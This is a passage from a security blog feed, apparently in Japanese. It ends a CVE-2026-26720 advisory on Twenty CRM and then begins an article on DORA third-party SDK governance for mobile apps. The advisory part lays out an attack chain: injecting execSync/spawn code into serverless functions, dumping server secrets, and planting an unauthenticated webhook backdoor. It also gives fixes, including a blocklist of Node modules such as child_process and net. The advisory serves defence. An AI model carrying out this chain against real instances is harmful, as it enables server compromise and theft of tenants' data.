&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"APP_SECRET"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"replace_me_with_a_random_string"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"PG_DATABASE_URL"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"postgres://postgres:postgres@localhost:5432/default"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"REDIS_URL"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"redis://localhost:6379"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;完全なコマンド実行を達成&lt;/strong&gt; &amp;mdash; 認証は一切不要。このWebhook URLは恒久的なバックドアです。トークンも、署名も、有効期限もありません。いったん作成されると、ワークフローが手動で削除されるまで存続します。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="アタックサーフェスの分析"&gt;アタックサーフェスの分析&lt;/h2&gt;
&lt;h3 id="誰がこれを悪用できるか"&gt;誰がこれを悪用できるか&lt;/h3&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;デプロイ形態&lt;/th&gt;
&lt;th style="text-align: left;"&gt;初期アクセス&lt;/th&gt;
&lt;th style="text-align: left;"&gt;悪用可能か&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;セルフホスト（マルチワークスペース）&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;任意の登録済みユーザー&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;可能&lt;/strong&gt; &amp;mdash; 完全なサーバー侵害&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;セルフホスト（シングルワークスペース）&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;招待された任意のワークスペースメンバー&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;可能&lt;/strong&gt; &amp;mdash; メンバーから完全なサーバー制御への権限昇格&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="影響の連鎖"&gt;影響の連鎖&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Workspace member (low privilege)
        &amp;darr;
Create serverless function        &amp;larr; intended feature, no exploit needed
        &amp;darr;
Inject execSync / spawn code      &amp;larr; no validation, no sandbox
        &amp;darr;
Execute function                  &amp;larr; runs as server user, inherits process.env
        &amp;darr;
Exfiltrate APP_SECRET,            &amp;larr; full secret dump
PG_DATABASE_URL, REDIS_URL
        &amp;darr;
Direct database access            &amp;larr; read/modify all workspaces, all tenants
        &amp;darr;
Create webhook workflow           &amp;larr; permanent unauthenticated backdoor
        &amp;darr;
Any internet client fires webhook &amp;larr; zero auth, zero credentials, forever
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="cve-2026-26720の修正方法"&gt;CVE-2026-26720の修正方法&lt;/h2&gt;
&lt;p&gt;この脆弱性チェーンを完全に修復するには、3つの独立した修正が必要です。&lt;/p&gt;
&lt;h3 id="修正1:サーバーレス関数の実行をサンドボックス化する"&gt;修正1：サーバーレス関数の実行をサンドボックス化する&lt;/h3&gt;
&lt;p&gt;サーバーレス関数のランタイムは、ホストプロセスから隔離されなければなりません。子プロセスが親の環境変数を継承することは決してあってはなりません。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// BEFORE (vulnerable): full environment inheritance&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;child&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;execPath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;runnerPath&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// ALL server secrets leaked&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;stdio&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'pipe'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'pipe'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'pipe'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'ipc'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// AFTER (fixed): isolated environment &amp;mdash; only explicit variables&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;child&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;execPath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;runnerPath&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;NODE_PATH&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;process.env.NODE_PATH&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;process.env.PATH&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="c1"&gt;// only workspace-specific vars&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;stdio&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'pipe'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'pipe'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'pipe'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'ipc'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;多層防御として、関数を隔離されたコンテナ（Docker／gVisor／Firecracker）で、次の条件のもとに実行します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;読み取り専用のファイルシステム（&lt;code&gt;/tmp&lt;/code&gt;を除く）  &lt;/li&gt;
&lt;li&gt;内部サービスへのネットワークアクセスなし  &lt;/li&gt;
&lt;li&gt;CPU／メモリの上限  &lt;/li&gt;
&lt;li&gt;分離された非特権ユーザー&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="修正2:サーバーレス関数のコードを検証する"&gt;修正2：サーバーレス関数のコードを検証する&lt;/h3&gt;
&lt;p&gt;コンパイル前に、Node.jsモジュールのインポートに対するブロックリストまたは許可リストを実装します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;BLOCKED_MODULES&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s1"&gt;'child_process'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'cluster'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'dgram'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'dns'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'net'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s1"&gt;'tls'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'vm'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'worker_threads'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'fs'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'os'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="c1"&gt;// Parse AST and reject any import/require of blocked modules&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="修正3:webhookエンドポイントを認証する"&gt;修正3：Webhookエンドポイントを認証する&lt;/h3&gt;
&lt;p&gt;Webhookトリガーのエンドポイントは、認証を必須とすべきです。最低でも、ワークフローごとのHMAC署名を求めます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// BEFORE (vulnerable): no authentication&lt;/span&gt;
&lt;span class="kd"&gt;@UseGuards&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;PublicEndpointGuard&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;NoPermissionGuard&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;// AFTER (fixed): require webhook signature&lt;/span&gt;
&lt;span class="kd"&gt;@UseGuards&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;WebhookSignatureGuard&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;runWorkflowByPostRequest&lt;/span&gt;&lt;span class="p"&gt;(...)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Webhook起動の各ワークフローは一意のシークレットを持つべきであり、受信リクエストには有効な&lt;code&gt;X-Webhook-Signature&lt;/code&gt;ヘッダーが含まれていなければなりません。有効な署名のないリクエストは、401で拒否されなければなりません。&lt;/p&gt;
&lt;h2 id="cve-2026-26720の緩和策とベストプラクティス"&gt;CVE-2026-26720の緩和策とベストプラクティス&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;直ちに更新する&lt;/strong&gt; &amp;mdash; 修正済みバージョンがリリースされ次第、更新します。Twenty CRMのGitHubリポジトリとチェンジログを監視してください。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;サーバーレス関数を制限する&lt;/strong&gt; &amp;mdash; デプロイでカスタムのサーバーレス関数が不要な場合は、この機能を完全に無効化するか、WORKFLOWS権限を管理者のみに制限してください。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;既存の関数を監査する&lt;/strong&gt; &amp;mdash; ワークスペース内のすべてのサーバーレス関数に、疑わしいインポート（&lt;code&gt;child_process&lt;/code&gt;、&lt;code&gt;fs&lt;/code&gt;、&lt;code&gt;net&lt;/code&gt;）がないかをレビューしてください。ワークスペーススキーマの&lt;code&gt;_metadata.serverlessFunction&lt;/code&gt;テーブルを確認してください。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Webhookエンドポイントをファイアウォールで保護する&lt;/strong&gt; &amp;mdash; 修正が提供されるまで、リバースプロキシのレベルで&lt;code&gt;/webhooks/workflows/*&lt;/code&gt;と&lt;code&gt;/s/*&lt;/code&gt;への外部アクセスをブロックしてください。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;シークレットをローテーションする&lt;/strong&gt; &amp;mdash; インスタンスがサーバーレス関数を有効にした状態で公開されていた場合は、すべての環境変数が侵害されたものとみなしてください。&lt;code&gt;APP_SECRET&lt;/code&gt;、データベースの認証情報、Redisの認証情報、SMTPパスワード、およびすべてのAPIキーをローテーションしてください。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ワークフローのアクティビティを監視する&lt;/strong&gt; &amp;mdash; 想定外の実行、特に&lt;code&gt;source: WEBHOOK&lt;/code&gt;であり、対応する正当な連携が存在しないものがないか、&lt;code&gt;workflowRun&lt;/code&gt;テーブルを監査してください。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="参考文献"&gt;参考文献&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;リソース&lt;/th&gt;
&lt;th style="text-align: left;"&gt;リンク&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Twenty CRM GitHub&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://github.com/twentyhq/twenty"&gt;https://github.com/twentyhq/twenty&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Twenty CRM v1.15.0 Release&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://github.com/twentyhq/twenty/releases/tag/v1.15.0"&gt;https://github.com/twentyhq/twenty/releases/tag/v1.15.0&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;NestJS Guards Documentation&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://docs.nestjs.com/guards"&gt;https://docs.nestjs.com/guards&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;OWASP &amp;mdash; Injection&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://owasp.org/Top10/A03_2021-Injection/"&gt;https://owasp.org/Top10/A03_2021-Injection/&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;CWE-94: Code Injection&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://cwe.mitre.org/data/definitions/94.html"&gt;https://cwe.mitre.org/data/definitions/94.html&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;CWE-250: Execution with Unnecessary Privileges&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://cwe.mitre.org/data/definitions/250.html"&gt;https://cwe.mitre.org/data/definitions/250.html&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</content><category term="Security"/><category term="Security"/><category term="CVE"/><category term="RCE"/><category term="vulnerability"/><category term="cve-news"/></entry><entry><title>DORAのサードパーティリスク：モバイルSDKのガバナンス</title><link href="https://blog.ostorlab.co/ja/dora-3rd-party-risk-mobile-appsec.html" rel="alternate"/><published>2026-04-14T18:00:00+02:00</published><updated>2026-04-14T18:00:00+02:00</updated><author><name>Bilal Harras</name></author><id>tag:blog.ostorlab.co,2026-04-14:/ja/dora-3rd-party-risk-mobile-appsec.html</id><summary type="html">&lt;p&gt;リリースごとのSDKインベントリと差分、承認・禁止ルール、パッチSLA、監査対応のエビデンスパックを用いて、モバイルアプリにおけるDORAのサードパーティリスクを管理します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;本シリーズをここまで読み進めてきた方は、現時点で次のものを手にしています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;モバイルのリスク対象領域を定義するスコープ（&lt;a href="https://blog.ostorlab.co/understanding-dora-compliance-for-mobile-teams.html"&gt;第1回：モバイルチームのためのDORAコンプライアンス理解&lt;/a&gt;）&lt;/li&gt;
&lt;li&gt;ビルドごとに明確な判定を生み出すリリースレベルの制御（&lt;a href="https://blog.ostorlab.co/dora-compliance-for-mobile-releases.html"&gt;第2回：モバイルリリースのためのDORAコンプライアンス&lt;/a&gt;）&lt;/li&gt;
&lt;li&gt;実際のモバイル障害モードに結び付けられたレジリエンスのエビデンス（&lt;a href="https://blog.ostorlab.co/dora-mobile-resilience-drills.html"&gt;第3回：DORAモバイルレジリエンス訓練&lt;/a&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;残る領域がサードパーティリスクです。&lt;/p&gt;
&lt;p&gt;モバイルアプリケーションは、組み込みSDKを同梱して出荷され、実行時には外部プロバイダーに依存します。DORAのもとでは、そうした露出も依然として自社の責任であり、リリースレベルでガバナンスを効かせなければなりません。これはモバイルのプログラムでは見過ごされがちです。「ベンダーリスク」が、バイナリやカスタマージャーニーに直接影響するものではなく、書類仕事として扱われてしまうためです。&lt;/p&gt;
&lt;h2 id="1) モバイルのサードパーティリスクはなぜ異なるのか"&gt;&lt;strong&gt;1) モバイルのサードパーティリスクはなぜ異なるのか&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;構造的には、モバイルアプリはDockerイメージやJavaのWARと同様、パッケージ化された成果物です。自社のコードをサードパーティライブラリとともにバンドルし、特定のバージョンを出荷します。その部分は特別なものではありません。&lt;/p&gt;
&lt;p&gt;特別なのは、出荷した後に何が起きるかです。バックエンドチームは通常、自社が運用するインフラ上で中央集権的にパッチを当て再デプロイできます。一方、モバイルチームはアプリストアを通じて顧客の端末へ出荷し、パッチの普及はストアの処理、ロールアウトの判断、端末の制約、ユーザーによる更新に左右されます。つまり、古いバージョンが現場で稼働し続けることになり、それがしばしば何週間、あるいはそれ以上に及びます。&lt;/p&gt;
&lt;p&gt;ガバナンスを効かせるべき、異なる2種類のリスクがあります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;組み込みSDK&lt;/strong&gt;&lt;br/&gt;
これらはバイナリの内部に同梱されて出荷され、アプリの権限で実行されます。SDKに脆弱性、ポリシー上の問題、破壊的変更があった場合、修復はリリースという形を取ります。新しいアプリバージョンを出荷し、その後、普及を待つことで修正します。実際の結果として、同時に稼働する複数のアプリバージョンにまたがって露出が長期化します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;実行時プロバイダー&lt;/strong&gt;&lt;br/&gt;
アイデンティティ、OTP、プッシュ、不正検知、決済といった外部サービスは、性能が低下したり、部分的に障害を起こしたり、環境によって挙動が異なったりすることがあります。その不安定さは、実際の端末と実際のネットワーク上で、重要なモバイルジャーニーに直接現れます。障害が起きれば、顧客はすぐにそれに気づきます。&lt;/p&gt;
&lt;p&gt;ガバナンス上の含意はシンプルかつ厳格です。モバイルにおけるサードパーティリスクは、リリース単位でスコープを定め、実行時に関連し、エビデンスに基づくものでなければなりません。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="モバイルAppSecのためのモバイルサードパーティリスク：アプリバイナリ内の組み込みSDKと、バイナリ外の実行時プロバイダーを対比し、パッチの遅延、アプリ権限での実行、プロバイダーの性能低下、リリースレベルのガバナンスを示す。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-14_dora_3rd_party_risk_for_mobile_appsec/dora4 1 .png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="2) sdkガバナンスモデル(リリース単位)"&gt;&lt;strong&gt;2) SDKガバナンスモデル（リリース単位）&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;目標は、各リリースで出荷を許可するサードパーティコードを、後から証明できる形で制御することです。このモデルはインベントリから始まり、次に変更を可視化し、その後、意思決定の記録を結び付けることで、リリースの判定を弁護可能なものにします。&lt;/p&gt;
&lt;p&gt;まずはリリースごとのSDKインベントリから始めます。これを一度きりのレポートではなく、ベースラインとして扱ってください。あらゆるリリース記録について、SDK名、正確なバージョン、提供元/出所、機能上の役割、そして（把握している場合は）リスクに関する注記や分類を示せるようにしておくべきです。このインベントリが、承認、禁止、パッチSLA、監査時の取り出しの拠り所となります。&lt;/p&gt;
&lt;p&gt;次に、リリースごとに差分を必須とします。新しいリリースごとに、直前に承認されたリリースと比べて、どのSDKが追加され、どのバージョンが変更され、何が削除されたかを言えるようにしておくべきです。これによって、「何も変わっていないと思う」が「何が変わったかを示せる」へと変わります。&lt;/p&gt;
&lt;p&gt;変更が見えるようになれば、それを制御できます。新しいSDKやメジャーアップグレードには明示的なレビュー判断を必須とする一方、通常のパッチアップグレードは、承認済みのバージョンポリシーの範囲内にとどまる限り、より軽量な手順に従えるよう、承認ルールを定めます。あわせて、非推奨のSDK、脆弱なバージョン、非準拠のプロバイダーについては禁止リストを維持し、依存関係のドリフトを通じて既知のリスクがアプリに再び入り込まないようにします。&lt;/p&gt;
&lt;p&gt;最後に、自社のリスクポリシーに沿ったパッチSLAを定め、SDKの脆弱性ごとにパッチまでの時間を計測します。重要なのは完璧さではありません。パッチが遅れたときに、制御されていないバックログではなく、期限を区切った判断を示せることが肝心です。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;フィールド&lt;/th&gt;
&lt;th&gt;説明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SDK名&lt;/td&gt;
&lt;td&gt;ライブラリ名またはベンダー名&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;バージョン&lt;/td&gt;
&lt;td&gt;ビルドに含まれる正確なバージョン&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;提供元&lt;/td&gt;
&lt;td&gt;ベンダー、リポジトリ、または出所&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;役割&lt;/td&gt;
&lt;td&gt;分析、認証、決済など&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;リスク注記&lt;/td&gt;
&lt;td&gt;既知のリスク、分類、または根拠&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="3) モバイル向けのsbom形式のエビデンス"&gt;&lt;strong&gt;3) モバイル向けのSBOM形式のエビデンス&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;DORAはモバイルに完璧なSBOMを求めてはいません。求められているのは、リリース固有で、弁護可能であり、運用上のガバナンスに結び付いた依存関係の可視性です。&lt;/p&gt;
&lt;p&gt;モバイル向けの実用上最小限のSBOMは、そのリリースのSDKインベントリ（名前＋バージョン）に、ビルドツールが提供できる依存関係の参照情報を加え、さらにその正確なリリースに紐付いた脆弱性のコンテキストを加えたものです。要件は、それがバージョン単位でスコープ化され、リリース記録に紐付けられていることです。これにより、ソース管理、古いCIログ、属人的な知識から再構築することなく、「バージョンXにはどの依存関係が存在したか」に答えられます。&lt;/p&gt;
&lt;h2 id="4) リリースレベルの制御"&gt;&lt;strong&gt;4) リリースレベルの制御&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;サードパーティガバナンスを運用に乗せるには、それを明確な結果を生み出すリリース制御として表現します。目指すのは、より多くの文書を作ることではありません。精査に耐えて有効であり続けるリリースの判定を生み出すことです。&lt;/p&gt;
&lt;p&gt;実用上の最小限は、各リリースがSDKインベントリ、直前のリリースに対するSDK差分、新しいSDKとメジャーアップグレードに対する明示的な承認または例外、そして禁止されたSDKやバージョンが含まれていないことのチェックを備えていることを確保することです。各リリースはまた、SLAの範囲内にあるか、期限を区切った例外でカバーされているかのいずれかである脆弱性態勢を示すべきです。実行時の面では、リリースは重要なジャーニーに関するプロバイダー依存関係マップにリンクし、それらのジャーニーについて定義済みの性能低下およびフォールバックの判断を参照すべきです。&lt;/p&gt;
&lt;p&gt;すでに&lt;a href="https://blog.ostorlab.co/dora-compliance-for-mobile-releases.html"&gt;第2回：モバイルリリースのためのDORAコンプライアンス&lt;/a&gt;の判定パイプラインがあるなら、これらは同じ判定へのサードパーティの入力となります。リリース記録は、判断とエビデンスへのリンクが存在する唯一の場所であり続けます。&lt;/p&gt;
&lt;h2 id="5) 監査対応のエビデンスパック(リリースごと)"&gt;&lt;strong&gt;5) 監査対応のエビデンスパック（リリースごと）&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;この段階で、エビデンスはリリースレベルに収束します。エビデンスパックは「手元にあるすべて」ではなく、デプロイ時点でそのリリースが許容できるものであった理由を説明する、最小限の成果物のセットです。&lt;br/&gt;
&lt;figure&gt;&lt;img alt="DORA監査対応のモバイルリリースエビデンスパック：リリース記録（アプリID、バージョン、ビルド参照、成果物ハッシュ、判断）を、SDKインベントリと差分、承認/例外、ジャーニー別のプロバイダーマップ、性能低下/フォールバック、制御結果、レジリエンスのエビデンスに結び付け、取り出しのためにアプリバージョンでインデックス化する。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-14_dora_3rd_party_risk_for_mobile_appsec/dora4.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;リリースのエビデンスパックには、次のものを含めるべきです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;リリースのアイデンティティ（アプリID、バージョン、ビルド参照、成果物フィンガープリント）&lt;/li&gt;
&lt;li&gt;SDKインベントリと差分&lt;/li&gt;
